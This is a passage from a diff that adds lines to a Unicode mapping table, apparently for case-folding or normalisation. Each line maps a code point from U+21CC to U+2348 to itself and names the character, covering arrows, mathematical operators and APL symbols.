+ ["\u21CC", "\u21CC"], /* RIGHTWARDS HARPOON OVER LEFTWARDS HARPOON (RIGHT HARPOON OVER LEFT HARPOON) */
+ ["\u21CD", "\u21CD"], /* LEFTWARDS DOUBLE ARROW WITH STROKE (LEFT DOUBLE ARROW WITH STROKE) */
+ ["\u21CE", "\u21CE"], /* LEFT RIGHT DOUBLE ARROW WITH STROKE */
+ ["\u21CF", "\u21CF"], /* RIGHTWARDS DOUBLE ARROW WITH STROKE (RIGHT DOUBLE ARROW WITH STROKE) */
+ ["\u21D0", "\u21D0"], /* LEFTWARDS DOUBLE ARROW (LEFT DOUBLE ARROW) */
+ ["\u21D1", "\u21D1"], /* UPWARDS DOUBLE ARROW (UP DOUBLE ARROW) */
+ ["\u21D2", "\u21D2"], /* RIGHTWARDS DOUBLE ARROW (RIGHT DOUBLE ARROW) */
+ ["\u21D3", "\u21D3"], /* DOWNWARDS DOUBLE ARROW (DOWN DOUBLE ARROW) */
+ ["\u21D4", "\u21D4"], /* LEFT RIGHT DOUBLE ARROW */
+ ["\u21D5", "\u21D5"], /* UP DOWN DOUBLE ARROW */
+ ["\u21D6", "\u21D6"], /* NORTH WEST DOUBLE ARROW (UPPER LEFT DOUBLE ARROW) */
+ ["\u21D7", "\u21D7"], /* NORTH EAST DOUBLE ARROW (UPPER RIGHT DOUBLE ARROW) */
+ ["\u21D8", "\u21D8"], /* SOUTH EAST DOUBLE ARROW (LOWER RIGHT DOUBLE ARROW) */
+ ["\u21D9", "\u21D9"], /* SOUTH WEST DOUBLE ARROW (LOWER LEFT DOUBLE ARROW) */
+ ["\u21DA", "\u21DA"], /* LEFTWARDS TRIPLE ARROW (LEFT TRIPLE ARROW) */
+ ["\u21DB", "\u21DB"], /* RIGHTWARDS TRIPLE ARROW (RIGHT TRIPLE ARROW) */
+ ["\u21DC", "\u21DC"], /* LEFTWARDS SQUIGGLE ARROW (LEFT SQUIGGLE ARROW) */
+ ["\u21DD", "\u21DD"], /* RIGHTWARDS SQUIGGLE ARROW (RIGHT SQUIGGLE ARROW) */
+ ["\u21DE", "\u21DE"], /* UPWARDS ARROW WITH DOUBLE STROKE (UP ARROW WITH DOUBLE STROKE) */
+ ["\u21DF", "\u21DF"], /* DOWNWARDS ARROW WITH DOUBLE STROKE (DOWN ARROW WITH DOUBLE STROKE) */
+ ["\u21E0", "\u21E0"], /* LEFTWARDS DASHED ARROW (LEFT DASHED ARROW) */
+ ["\u21E1", "\u21E1"], /* UPWARDS DASHED ARROW (UP DASHED ARROW) */
+ ["\u21E2", "\u21E2"], /* RIGHTWARDS DASHED ARROW (RIGHT DASHED ARROW) */
+ ["\u21E3", "\u21E3"], /* DOWNWARDS DASHED ARROW (DOWN DASHED ARROW) */
+ ["\u21E4", "\u21E4"], /* LEFTWARDS ARROW TO BAR (LEFT ARROW TO BAR) */
+ ["\u21E5", "\u21E5"], /* RIGHTWARDS ARROW TO BAR (RIGHT ARROW TO BAR) */
+ ["\u21E6", "\u21E6"], /* LEFTWARDS WHITE ARROW (WHITE LEFT ARROW) */
+ ["\u21E7", "\u21E7"], /* UPWARDS WHITE ARROW (WHITE UP ARROW) */
+ ["\u21E8", "\u21E8"], /* RIGHTWARDS WHITE ARROW (WHITE RIGHT ARROW) */
+ ["\u21E9", "\u21E9"], /* DOWNWARDS WHITE ARROW (WHITE DOWN ARROW) */
+ ["\u21EA", "\u21EA"], /* UPWARDS WHITE ARROW FROM BAR (WHITE UP ARROW FROM BAR) */
+ ["\u21EB", "\u21EB"], /* UPWARDS WHITE ARROW ON PEDESTAL */
+ ["\u21EC", "\u21EC"], /* UPWARDS WHITE ARROW ON PEDESTAL WITH HORIZONTAL BAR */
+ ["\u21ED", "\u21ED"], /* UPWARDS WHITE ARROW ON PEDESTAL WITH VERTICAL BAR */
+ ["\u21EE", "\u21EE"], /* UPWARDS WHITE DOUBLE ARROW */
+ ["\u21EF", "\u21EF"], /* UPWARDS WHITE DOUBLE ARROW ON PEDESTAL */
+ ["\u21F0", "\u21F0"], /* RIGHTWARDS WHITE ARROW FROM WALL */
+ ["\u21F1", "\u21F1"], /* NORTH WEST ARROW TO CORNER */
+ ["\u21F2", "\u21F2"], /* SOUTH EAST ARROW TO CORNER */
+ ["\u21F3", "\u21F3"], /* UP DOWN WHITE ARROW */
+ ["\u21F4", "\u21F4"], /* RIGHT ARROW WITH SMALL CIRCLE */
+ ["\u21F5", "\u21F5"], /* DOWNWARDS ARROW LEFTWARDS OF UPWARDS ARROW */
+ ["\u21F6", "\u21F6"], /* THREE RIGHTWARDS ARROWS */
+ ["\u21F7", "\u21F7"], /* LEFTWARDS ARROW WITH VERTICAL STROKE */
+ ["\u21F8", "\u21F8"], /* RIGHTWARDS ARROW WITH VERTICAL STROKE */
+ ["\u21F9", "\u21F9"], /* LEFT RIGHT ARROW WITH VERTICAL STROKE */
+ ["\u21FA", "\u21FA"], /* LEFTWARDS ARROW WITH DOUBLE VERTICAL STROKE */
+ ["\u21FB", "\u21FB"], /* RIGHTWARDS ARROW WITH DOUBLE VERTICAL STROKE */
+ ["\u21FC", "\u21FC"], /* LEFT RIGHT ARROW WITH DOUBLE VERTICAL STROKE */
+ ["\u21FD", "\u21FD"], /* LEFTWARDS OPEN-HEADED ARROW */
+ ["\u21FE", "\u21FE"], /* RIGHTWARDS OPEN-HEADED ARROW */
+ ["\u21FF", "\u21FF"], /* LEFT RIGHT OPEN-HEADED ARROW */
+ ["\u2200", "\u2200"], /* FOR ALL */
+ ["\u2201", "\u2201"], /* COMPLEMENT */
+ ["\u2202", "\u2202"], /* PARTIAL DIFFERENTIAL */
+ ["\u2203", "\u2203"], /* THERE EXISTS */
+ ["\u2204", "\u2204"], /* THERE DOES NOT EXIST */
+ ["\u2205", "\u2205"], /* EMPTY SET */
+ ["\u2206", "\u2206"], /* INCREMENT */
+ ["\u2207", "\u2207"], /* NABLA */
+ ["\u2208", "\u2208"], /* ELEMENT OF */
+ ["\u2209", "\u2209"], /* NOT AN ELEMENT OF */
+ ["\u220A", "\u220A"], /* SMALL ELEMENT OF */
+ ["\u220B", "\u220B"], /* CONTAINS AS MEMBER */
+ ["\u220C", "\u220C"], /* DOES NOT CONTAIN AS MEMBER */
+ ["\u220D", "\u220D"], /* SMALL CONTAINS AS MEMBER */
+ ["\u220E", "\u220E"], /* END OF PROOF */
+ ["\u220F", "\u220F"], /* N-ARY PRODUCT */
+ ["\u2210", "\u2210"], /* N-ARY COPRODUCT */
+ ["\u2211", "\u2211"], /* N-ARY SUMMATION */
+ ["\u2212", "\u2212"], /* MINUS SIGN */
+ ["\u2213", "\u2213"], /* MINUS-OR-PLUS SIGN */
+ ["\u2214", "\u2214"], /* DOT PLUS */
+ ["\u2215", "\u2215"], /* DIVISION SLASH */
+ ["\u2216", "\u2216"], /* SET MINUS */
+ ["\u2217", "\u2217"], /* ASTERISK OPERATOR */
+ ["\u2218", "\u2218"], /* RING OPERATOR */
+ ["\u2219", "\u2219"], /* BULLET OPERATOR */
+ ["\u221A", "\u221A"], /* SQUARE ROOT */
+ ["\u221B", "\u221B"], /* CUBE ROOT */
+ ["\u221C", "\u221C"], /* FOURTH ROOT */
+ ["\u221D", "\u221D"], /* PROPORTIONAL TO */
+ ["\u221E", "\u221E"], /* INFINITY */
+ ["\u221F", "\u221F"], /* RIGHT ANGLE */
+ ["\u2220", "\u2220"], /* ANGLE */
+ ["\u2221", "\u2221"], /* MEASURED ANGLE */
+ ["\u2222", "\u2222"], /* SPHERICAL ANGLE */
+ ["\u2223", "\u2223"], /* DIVIDES */
+ ["\u2224", "\u2224"], /* DOES NOT DIVIDE */
+ ["\u2225", "\u2225"], /* PARALLEL TO */
+ ["\u2226", "\u2226"], /* NOT PARALLEL TO */
+ ["\u2227", "\u2227"], /* LOGICAL AND */
+ ["\u2228", "\u2228"], /* LOGICAL OR */
+ ["\u2229", "\u2229"], /* INTERSECTION */
+ ["\u222A", "\u222A"], /* UNION */
+ ["\u222B", "\u222B"], /* INTEGRAL */
+ ["\u222C", "\u222C"], /* DOUBLE INTEGRAL */
+ ["\u222D", "\u222D"], /* TRIPLE INTEGRAL */
+ ["\u222E", "\u222E"], /* CONTOUR INTEGRAL */
+ ["\u222F", "\u222F"], /* SURFACE INTEGRAL */
+ ["\u2230", "\u2230"], /* VOLUME INTEGRAL */
+ ["\u2231", "\u2231"], /* CLOCKWISE INTEGRAL */
+ ["\u2232", "\u2232"], /* CLOCKWISE CONTOUR INTEGRAL */
+ ["\u2233", "\u2233"], /* ANTICLOCKWISE CONTOUR INTEGRAL */
+ ["\u2234", "\u2234"], /* THEREFORE */
+ ["\u2235", "\u2235"], /* BECAUSE */
+ ["\u2236", "\u2236"], /* RATIO */
+ ["\u2237", "\u2237"], /* PROPORTION */
+ ["\u2238", "\u2238"], /* DOT MINUS */
+ ["\u2239", "\u2239"], /* EXCESS */
+ ["\u223A", "\u223A"], /* GEOMETRIC PROPORTION */
+ ["\u223B", "\u223B"], /* HOMOTHETIC */
+ ["\u223C", "\u223C"], /* TILDE OPERATOR */
+ ["\u223D", "\u223D"], /* REVERSED TILDE */
+ ["\u223E", "\u223E"], /* INVERTED LAZY S */
+ ["\u223F", "\u223F"], /* SINE WAVE */
+ ["\u2240", "\u2240"], /* WREATH PRODUCT */
+ ["\u2241", "\u2241"], /* NOT TILDE */
+ ["\u2242", "\u2242"], /* MINUS TILDE */
+ ["\u2243", "\u2243"], /* ASYMPTOTICALLY EQUAL TO */
+ ["\u2244", "\u2244"], /* NOT ASYMPTOTICALLY EQUAL TO */
+ ["\u2245", "\u2245"], /* APPROXIMATELY EQUAL TO */
+ ["\u2246", "\u2246"], /* APPROXIMATELY BUT NOT ACTUALLY EQUAL TO */
+ ["\u2247", "\u2247"], /* NEITHER APPROXIMATELY NOR ACTUALLY EQUAL TO */
+ ["\u2248", "\u2248"], /* ALMOST EQUAL TO */
+ ["\u2249", "\u2249"], /* NOT ALMOST EQUAL TO */
+ ["\u224A", "\u224A"], /* ALMOST EQUAL OR EQUAL TO */
+ ["\u224B", "\u224B"], /* TRIPLE TILDE */
+ ["\u224C", "\u224C"], /* ALL EQUAL TO */
+ ["\u224D", "\u224D"], /* EQUIVALENT TO */
+ ["\u224E", "\u224E"], /* GEOMETRICALLY EQUIVALENT TO */
+ ["\u224F", "\u224F"], /* DIFFERENCE BETWEEN */
+ ["\u2250", "\u2250"], /* APPROACHES THE LIMIT */
+ ["\u2251", "\u2251"], /* GEOMETRICALLY EQUAL TO */
+ ["\u2252", "\u2252"], /* APPROXIMATELY EQUAL TO OR THE IMAGE OF */
+ ["\u2253", "\u2253"], /* IMAGE OF OR APPROXIMATELY EQUAL TO */
+ ["\u2254", "\u2254"], /* COLON EQUALS (COLON EQUAL) */
+ ["\u2255", "\u2255"], /* EQUALS COLON (EQUAL COLON) */
+ ["\u2256", "\u2256"], /* RING IN EQUAL TO */
+ ["\u2257", "\u2257"], /* RING EQUAL TO */
+ ["\u2258", "\u2258"], /* CORRESPONDS TO */
+ ["\u2259", "\u2259"], /* ESTIMATES */
+ ["\u225A", "\u225A"], /* EQUIANGULAR TO */
+ ["\u225B", "\u225B"], /* STAR EQUALS */
+ ["\u225C", "\u225C"], /* DELTA EQUAL TO */
+ ["\u225D", "\u225D"], /* EQUAL TO BY DEFINITION */
+ ["\u225E", "\u225E"], /* MEASURED BY */
+ ["\u225F", "\u225F"], /* QUESTIONED EQUAL TO */
+ ["\u2260", "\u2260"], /* NOT EQUAL TO */
+ ["\u2261", "\u2261"], /* IDENTICAL TO */
+ ["\u2262", "\u2262"], /* NOT IDENTICAL TO */
+ ["\u2263", "\u2263"], /* STRICTLY EQUIVALENT TO */
+ ["\u2264", "\u2264"], /* LESS-THAN OR EQUAL TO (LESS THAN OR EQUAL TO) */
+ ["\u2265", "\u2265"], /* GREATER-THAN OR EQUAL TO (GREATER THAN OR EQUAL TO) */
+ ["\u2266", "\u2266"], /* LESS-THAN OVER EQUAL TO (LESS THAN OVER EQUAL TO) */
+ ["\u2267", "\u2267"], /* GREATER-THAN OVER EQUAL TO (GREATER THAN OVER EQUAL TO) */
+ ["\u2268", "\u2268"], /* LESS-THAN BUT NOT EQUAL TO (LESS THAN BUT NOT EQUAL TO) */
+ ["\u2269", "\u2269"], /* GREATER-THAN BUT NOT EQUAL TO (GREATER THAN BUT NOT EQUAL TO) */
+ ["\u226A", "\u226A"], /* MUCH LESS-THAN (MUCH LESS THAN) */
+ ["\u226B", "\u226B"], /* MUCH GREATER-THAN (MUCH GREATER THAN) */
+ ["\u226C", "\u226C"], /* BETWEEN */
+ ["\u226D", "\u226D"], /* NOT EQUIVALENT TO */
+ ["\u226E", "\u226E"], /* NOT LESS-THAN (NOT LESS THAN) */
+ ["\u226F", "\u226F"], /* NOT GREATER-THAN (NOT GREATER THAN) */
+ ["\u2270", "\u2270"], /* NEITHER LESS-THAN NOR EQUAL TO (NEITHER LESS THAN NOR EQUAL TO) */
+ ["\u2271", "\u2271"], /* NEITHER GREATER-THAN NOR EQUAL TO (NEITHER GREATER THAN NOR EQUAL TO) */
+ ["\u2272", "\u2272"], /* LESS-THAN OR EQUIVALENT TO (LESS THAN OR EQUIVALENT TO) */
+ ["\u2273", "\u2273"], /* GREATER-THAN OR EQUIVALENT TO (GREATER THAN OR EQUIVALENT TO) */
+ ["\u2274", "\u2274"], /* NEITHER LESS-THAN NOR EQUIVALENT TO (NEITHER LESS THAN NOR EQUIVALENT TO) */
+ ["\u2275", "\u2275"], /* NEITHER GREATER-THAN NOR EQUIVALENT TO (NEITHER GREATER THAN NOR EQUIVALENT TO) */
+ ["\u2276", "\u2276"], /* LESS-THAN OR GREATER-THAN (LESS THAN OR GREATER THAN) */
+ ["\u2277", "\u2277"], /* GREATER-THAN OR LESS-THAN (GREATER THAN OR LESS THAN) */
+ ["\u2278", "\u2278"], /* NEITHER LESS-THAN NOR GREATER-THAN (NEITHER LESS THAN NOR GREATER THAN) */
+ ["\u2279", "\u2279"], /* NEITHER GREATER-THAN NOR LESS-THAN (NEITHER GREATER THAN NOR LESS THAN) */
+ ["\u227A", "\u227A"], /* PRECEDES */
+ ["\u227B", "\u227B"], /* SUCCEEDS */
+ ["\u227C", "\u227C"], /* PRECEDES OR EQUAL TO */
+ ["\u227D", "\u227D"], /* SUCCEEDS OR EQUAL TO */
+ ["\u227E", "\u227E"], /* PRECEDES OR EQUIVALENT TO */
+ ["\u227F", "\u227F"], /* SUCCEEDS OR EQUIVALENT TO */
+ ["\u2280", "\u2280"], /* DOES NOT PRECEDE */
+ ["\u2281", "\u2281"], /* DOES NOT SUCCEED */
+ ["\u2282", "\u2282"], /* SUBSET OF */
+ ["\u2283", "\u2283"], /* SUPERSET OF */
+ ["\u2284", "\u2284"], /* NOT A SUBSET OF */
+ ["\u2285", "\u2285"], /* NOT A SUPERSET OF */
+ ["\u2286", "\u2286"], /* SUBSET OF OR EQUAL TO */
+ ["\u2287", "\u2287"], /* SUPERSET OF OR EQUAL TO */
+ ["\u2288", "\u2288"], /* NEITHER A SUBSET OF NOR EQUAL TO */
+ ["\u2289", "\u2289"], /* NEITHER A SUPERSET OF NOR EQUAL TO */
+ ["\u228A", "\u228A"], /* SUBSET OF WITH NOT EQUAL TO (SUBSET OF OR NOT EQUAL TO) */
+ ["\u228B", "\u228B"], /* SUPERSET OF WITH NOT EQUAL TO (SUPERSET OF OR NOT EQUAL TO) */
+ ["\u228C", "\u228C"], /* MULTISET */
+ ["\u228D", "\u228D"], /* MULTISET MULTIPLICATION */
+ ["\u228E", "\u228E"], /* MULTISET UNION */
+ ["\u228F", "\u228F"], /* SQUARE IMAGE OF */
+ ["\u2290", "\u2290"], /* SQUARE ORIGINAL OF */
+ ["\u2291", "\u2291"], /* SQUARE IMAGE OF OR EQUAL TO */
+ ["\u2292", "\u2292"], /* SQUARE ORIGINAL OF OR EQUAL TO */
+ ["\u2293", "\u2293"], /* SQUARE CAP */
+ ["\u2294", "\u2294"], /* SQUARE CUP */
+ ["\u2295", "\u2295"], /* CIRCLED PLUS */
+ ["\u2296", "\u2296"], /* CIRCLED MINUS */
+ ["\u2297", "\u2297"], /* CIRCLED TIMES */
+ ["\u2298", "\u2298"], /* CIRCLED DIVISION SLASH */
+ ["\u2299", "\u2299"], /* CIRCLED DOT OPERATOR */
+ ["\u229A", "\u229A"], /* CIRCLED RING OPERATOR */
+ ["\u229B", "\u229B"], /* CIRCLED ASTERISK OPERATOR */
+ ["\u229C", "\u229C"], /* CIRCLED EQUALS */
+ ["\u229D", "\u229D"], /* CIRCLED DASH */
+ ["\u229E", "\u229E"], /* SQUARED PLUS */
+ ["\u229F", "\u229F"], /* SQUARED MINUS */
+ ["\u22A0", "\u22A0"], /* SQUARED TIMES */
+ ["\u22A1", "\u22A1"], /* SQUARED DOT OPERATOR */
+ ["\u22A2", "\u22A2"], /* RIGHT TACK */
+ ["\u22A3", "\u22A3"], /* LEFT TACK */
+ ["\u22A4", "\u22A4"], /* DOWN TACK */
+ ["\u22A5", "\u22A5"], /* UP TACK */
+ ["\u22A6", "\u22A6"], /* ASSERTION */
+ ["\u22A7", "\u22A7"], /* MODELS */
+ ["\u22A8", "\u22A8"], /* TRUE */
+ ["\u22A9", "\u22A9"], /* FORCES */
+ ["\u22AA", "\u22AA"], /* TRIPLE VERTICAL BAR RIGHT TURNSTILE */
+ ["\u22AB", "\u22AB"], /* DOUBLE VERTICAL BAR DOUBLE RIGHT TURNSTILE */
+ ["\u22AC", "\u22AC"], /* DOES NOT PROVE */
+ ["\u22AD", "\u22AD"], /* NOT TRUE */
+ ["\u22AE", "\u22AE"], /* DOES NOT FORCE */
+ ["\u22AF", "\u22AF"], /* NEGATED DOUBLE VERTICAL BAR DOUBLE RIGHT TURNSTILE */
+ ["\u22B0", "\u22B0"], /* PRECEDES UNDER RELATION */
+ ["\u22B1", "\u22B1"], /* SUCCEEDS UNDER RELATION */
+ ["\u22B2", "\u22B2"], /* NORMAL SUBGROUP OF */
+ ["\u22B3", "\u22B3"], /* CONTAINS AS NORMAL SUBGROUP */
+ ["\u22B4", "\u22B4"], /* NORMAL SUBGROUP OF OR EQUAL TO */
+ ["\u22B5", "\u22B5"], /* CONTAINS AS NORMAL SUBGROUP OR EQUAL TO */
+ ["\u22B6", "\u22B6"], /* ORIGINAL OF */
+ ["\u22B7", "\u22B7"], /* IMAGE OF */
+ ["\u22B8", "\u22B8"], /* MULTIMAP */
+ ["\u22B9", "\u22B9"], /* HERMITIAN CONJUGATE MATRIX */
+ ["\u22BA", "\u22BA"], /* INTERCALATE */
+ ["\u22BB", "\u22BB"], /* XOR */
+ ["\u22BC", "\u22BC"], /* NAND */
+ ["\u22BD", "\u22BD"], /* NOR */
+ ["\u22BE", "\u22BE"], /* RIGHT ANGLE WITH ARC */
+ ["\u22BF", "\u22BF"], /* RIGHT TRIANGLE */
+ ["\u22C0", "\u22C0"], /* N-ARY LOGICAL AND */
+ ["\u22C1", "\u22C1"], /* N-ARY LOGICAL OR */
+ ["\u22C2", "\u22C2"], /* N-ARY INTERSECTION */
+ ["\u22C3", "\u22C3"], /* N-ARY UNION */
+ ["\u22C4", "\u22C4"], /* DIAMOND OPERATOR */
+ ["\u22C5", "\u22C5"], /* DOT OPERATOR */
+ ["\u22C6", "\u22C6"], /* STAR OPERATOR */
+ ["\u22C7", "\u22C7"], /* DIVISION TIMES */
+ ["\u22C8", "\u22C8"], /* BOWTIE */
+ ["\u22C9", "\u22C9"], /* LEFT NORMAL FACTOR SEMIDIRECT PRODUCT */
+ ["\u22CA", "\u22CA"], /* RIGHT NORMAL FACTOR SEMIDIRECT PRODUCT */
+ ["\u22CB", "\u22CB"], /* LEFT SEMIDIRECT PRODUCT */
+ ["\u22CC", "\u22CC"], /* RIGHT SEMIDIRECT PRODUCT */
+ ["\u22CD", "\u22CD"], /* REVERSED TILDE EQUALS */
+ ["\u22CE", "\u22CE"], /* CURLY LOGICAL OR */
+ ["\u22CF", "\u22CF"], /* CURLY LOGICAL AND */
+ ["\u22D0", "\u22D0"], /* DOUBLE SUBSET */
+ ["\u22D1", "\u22D1"], /* DOUBLE SUPERSET */
+ ["\u22D2", "\u22D2"], /* DOUBLE INTERSECTION */
+ ["\u22D3", "\u22D3"], /* DOUBLE UNION */
+ ["\u22D4", "\u22D4"], /* PITCHFORK */
+ ["\u22D5", "\u22D5"], /* EQUAL AND PARALLEL TO */
+ ["\u22D6", "\u22D6"], /* LESS-THAN WITH DOT (LESS THAN WITH DOT) */
+ ["\u22D7", "\u22D7"], /* GREATER-THAN WITH DOT (GREATER THAN WITH DOT) */
+ ["\u22D8", "\u22D8"], /* VERY MUCH LESS-THAN (VERY MUCH LESS THAN) */
+ ["\u22D9", "\u22D9"], /* VERY MUCH GREATER-THAN (VERY MUCH GREATER THAN) */
+ ["\u22DA", "\u22DA"], /* LESS-THAN EQUAL TO OR GREATER-THAN (LESS THAN EQUAL TO OR GREATER THAN) */
+ ["\u22DB", "\u22DB"], /* GREATER-THAN EQUAL TO OR LESS-THAN (GREATER THAN EQUAL TO OR LESS THAN) */
+ ["\u22DC", "\u22DC"], /* EQUAL TO OR LESS-THAN (EQUAL TO OR LESS THAN) */
+ ["\u22DD", "\u22DD"], /* EQUAL TO OR GREATER-THAN (EQUAL TO OR GREATER THAN) */
+ ["\u22DE", "\u22DE"], /* EQUAL TO OR PRECEDES */
+ ["\u22DF", "\u22DF"], /* EQUAL TO OR SUCCEEDS */
+ ["\u22E0", "\u22E0"], /* DOES NOT PRECEDE OR EQUAL */
+ ["\u22E1", "\u22E1"], /* DOES NOT SUCCEED OR EQUAL */
+ ["\u22E2", "\u22E2"], /* NOT SQUARE IMAGE OF OR EQUAL TO */
+ ["\u22E3", "\u22E3"], /* NOT SQUARE ORIGINAL OF OR EQUAL TO */
+ ["\u22E4", "\u22E4"], /* SQUARE IMAGE OF OR NOT EQUAL TO */
+ ["\u22E5", "\u22E5"], /* SQUARE ORIGINAL OF OR NOT EQUAL TO */
+ ["\u22E6", "\u22E6"], /* LESS-THAN BUT NOT EQUIVALENT TO (LESS THAN BUT NOT EQUIVALENT TO) */
+ ["\u22E7", "\u22E7"], /* GREATER-THAN BUT NOT EQUIVALENT TO (GREATER THAN BUT NOT EQUIVALENT TO) */
+ ["\u22E8", "\u22E8"], /* PRECEDES BUT NOT EQUIVALENT TO */
+ ["\u22E9", "\u22E9"], /* SUCCEEDS BUT NOT EQUIVALENT TO */
+ ["\u22EA", "\u22EA"], /* NOT NORMAL SUBGROUP OF */
+ ["\u22EB", "\u22EB"], /* DOES NOT CONTAIN AS NORMAL SUBGROUP */
+ ["\u22EC", "\u22EC"], /* NOT NORMAL SUBGROUP OF OR EQUAL TO */
+ ["\u22ED", "\u22ED"], /* DOES NOT CONTAIN AS NORMAL SUBGROUP OR EQUAL */
+ ["\u22EE", "\u22EE"], /* VERTICAL ELLIPSIS */
+ ["\u22EF", "\u22EF"], /* MIDLINE HORIZONTAL ELLIPSIS */
+ ["\u22F0", "\u22F0"], /* UP RIGHT DIAGONAL ELLIPSIS */
+ ["\u22F1", "\u22F1"], /* DOWN RIGHT DIAGONAL ELLIPSIS */
+ ["\u22F2", "\u22F2"], /* ELEMENT OF WITH LONG HORIZONTAL STROKE */
+ ["\u22F3", "\u22F3"], /* ELEMENT OF WITH VERTICAL BAR AT END OF HORIZONTAL STROKE */
+ ["\u22F4", "\u22F4"], /* SMALL ELEMENT OF WITH VERTICAL BAR AT END OF HORIZONTAL STROKE */
+ ["\u22F5", "\u22F5"], /* ELEMENT OF WITH DOT ABOVE */
+ ["\u22F6", "\u22F6"], /* ELEMENT OF WITH OVERBAR */
+ ["\u22F7", "\u22F7"], /* SMALL ELEMENT OF WITH OVERBAR */
+ ["\u22F8", "\u22F8"], /* ELEMENT OF WITH UNDERBAR */
+ ["\u22F9", "\u22F9"], /* ELEMENT OF WITH TWO HORIZONTAL STROKES */
+ ["\u22FA", "\u22FA"], /* CONTAINS WITH LONG HORIZONTAL STROKE */
+ ["\u22FB", "\u22FB"], /* CONTAINS WITH VERTICAL BAR AT END OF HORIZONTAL STROKE */
+ ["\u22FC", "\u22FC"], /* SMALL CONTAINS WITH VERTICAL BAR AT END OF HORIZONTAL STROKE */
+ ["\u22FD", "\u22FD"], /* CONTAINS WITH OVERBAR */
+ ["\u22FE", "\u22FE"], /* SMALL CONTAINS WITH OVERBAR */
+ ["\u22FF", "\u22FF"], /* Z NOTATION BAG MEMBERSHIP */
+ ["\u2300", "\u2300"], /* DIAMETER SIGN */
+ ["\u2301", "\u2301"], /* ELECTRIC ARROW */
+ ["\u2302", "\u2302"], /* HOUSE */
+ ["\u2303", "\u2303"], /* UP ARROWHEAD */
+ ["\u2304", "\u2304"], /* DOWN ARROWHEAD */
+ ["\u2305", "\u2305"], /* PROJECTIVE */
+ ["\u2306", "\u2306"], /* PERSPECTIVE */
+ ["\u2307", "\u2307"], /* WAVY LINE */
+ ["\u2308", "\u2308"], /* LEFT CEILING */
+ ["\u2309", "\u2309"], /* RIGHT CEILING */
+ ["\u230A", "\u230A"], /* LEFT FLOOR */
+ ["\u230B", "\u230B"], /* RIGHT FLOOR */
+ ["\u230C", "\u230C"], /* BOTTOM RIGHT CROP */
+ ["\u230D", "\u230D"], /* BOTTOM LEFT CROP */
+ ["\u230E", "\u230E"], /* TOP RIGHT CROP */
+ ["\u230F", "\u230F"], /* TOP LEFT CROP */
+ ["\u2310", "\u2310"], /* REVERSED NOT SIGN */
+ ["\u2311", "\u2311"], /* SQUARE LOZENGE */
+ ["\u2312", "\u2312"], /* ARC */
+ ["\u2313", "\u2313"], /* SEGMENT */
+ ["\u2314", "\u2314"], /* SECTOR */
+ ["\u2315", "\u2315"], /* TELEPHONE RECORDER */
+ ["\u2316", "\u2316"], /* POSITION INDICATOR */
+ ["\u2317", "\u2317"], /* VIEWDATA SQUARE */
+ ["\u2318", "\u2318"], /* PLACE OF INTEREST SIGN (COMMAND KEY) */
+ ["\u2319", "\u2319"], /* TURNED NOT SIGN */
+ ["\u231A", "\u231A"], /* WATCH */
+ ["\u231B", "\u231B"], /* HOURGLASS */
+ ["\u231C", "\u231C"], /* TOP LEFT CORNER */
+ ["\u231D", "\u231D"], /* TOP RIGHT CORNER */
+ ["\u231E", "\u231E"], /* BOTTOM LEFT CORNER */
+ ["\u231F", "\u231F"], /* BOTTOM RIGHT CORNER */
+ ["\u2320", "\u2320"], /* TOP HALF INTEGRAL */
+ ["\u2321", "\u2321"], /* BOTTOM HALF INTEGRAL */
+ ["\u2322", "\u2322"], /* FROWN */
+ ["\u2323", "\u2323"], /* SMILE */
+ ["\u2324", "\u2324"], /* UP ARROWHEAD BETWEEN TWO HORIZONTAL BARS (ENTER KEY) */
+ ["\u2325", "\u2325"], /* OPTION KEY */
+ ["\u2326", "\u2326"], /* ERASE TO THE RIGHT (DELETE TO THE RIGHT KEY) */
+ ["\u2327", "\u2327"], /* X IN A RECTANGLE BOX (CLEAR KEY) */
+ ["\u2328", "\u2328"], /* KEYBOARD */
+ ["\u2329", "\u2329"], /* LEFT-POINTING ANGLE BRACKET (BRA) */
+ ["\u232A", "\u232A"], /* RIGHT-POINTING ANGLE BRACKET (KET) */
+ ["\u232B", "\u232B"], /* ERASE TO THE LEFT (DELETE TO THE LEFT KEY) */
+ ["\u232C", "\u232C"], /* BENZENE RING */
+ ["\u232D", "\u232D"], /* CYLINDRICITY */
+ ["\u232E", "\u232E"], /* ALL AROUND-PROFILE */
+ ["\u232F", "\u232F"], /* SYMMETRY */
+ ["\u2330", "\u2330"], /* TOTAL RUNOUT */
+ ["\u2331", "\u2331"], /* DIMENSION ORIGIN */
+ ["\u2332", "\u2332"], /* CONICAL TAPER */
+ ["\u2333", "\u2333"], /* SLOPE */
+ ["\u2334", "\u2334"], /* COUNTERBORE */
+ ["\u2335", "\u2335"], /* COUNTERSINK */
+ ["\u2336", "\u2336"], /* APL FUNCTIONAL SYMBOL I-BEAM */
+ ["\u2337", "\u2337"], /* APL FUNCTIONAL SYMBOL SQUISH QUAD */
+ ["\u2338", "\u2338"], /* APL FUNCTIONAL SYMBOL QUAD EQUAL */
+ ["\u2339", "\u2339"], /* APL FUNCTIONAL SYMBOL QUAD DIVIDE */
+ ["\u233A", "\u233A"], /* APL FUNCTIONAL SYMBOL QUAD DIAMOND */
+ ["\u233B", "\u233B"], /* APL FUNCTIONAL SYMBOL QUAD JOT */
+ ["\u233C", "\u233C"], /* APL FUNCTIONAL SYMBOL QUAD CIRCLE */
+ ["\u233D", "\u233D"], /* APL FUNCTIONAL SYMBOL CIRCLE STILE */
+ ["\u233E", "\u233E"], /* APL FUNCTIONAL SYMBOL CIRCLE JOT */
+ ["\u233F", "\u233F"], /* APL FUNCTIONAL SYMBOL SLASH BAR */
+ ["\u2340", "\u2340"], /* APL FUNCTIONAL SYMBOL BACKSLASH BAR */
+ ["\u2341", "\u2341"], /* APL FUNCTIONAL SYMBOL QUAD SLASH */
+ ["\u2342", "\u2342"], /* APL FUNCTIONAL SYMBOL QUAD BACKSLASH */
+ ["\u2343", "\u2343"], /* APL FUNCTIONAL SYMBOL QUAD LESS-THAN */
+ ["\u2344", "\u2344"], /* APL FUNCTIONAL SYMBOL QUAD GREATER-THAN */
+ ["\u2345", "\u2345"], /* APL FUNCTIONAL SYMBOL LEFTWARDS VANE */
+ ["\u2346", "\u2346"], /* APL FUNCTIONAL SYMBOL RIGHTWARDS VANE */
+ ["\u2347", "\u2347"], /* APL FUNCTIONAL SYMBOL QUAD LEFTWARDS ARROW */
+ ["\u2348", "\u2348"], /* APL FUNCTIONAL SYMBOL QUAD RIGHTWARDS ARROW */
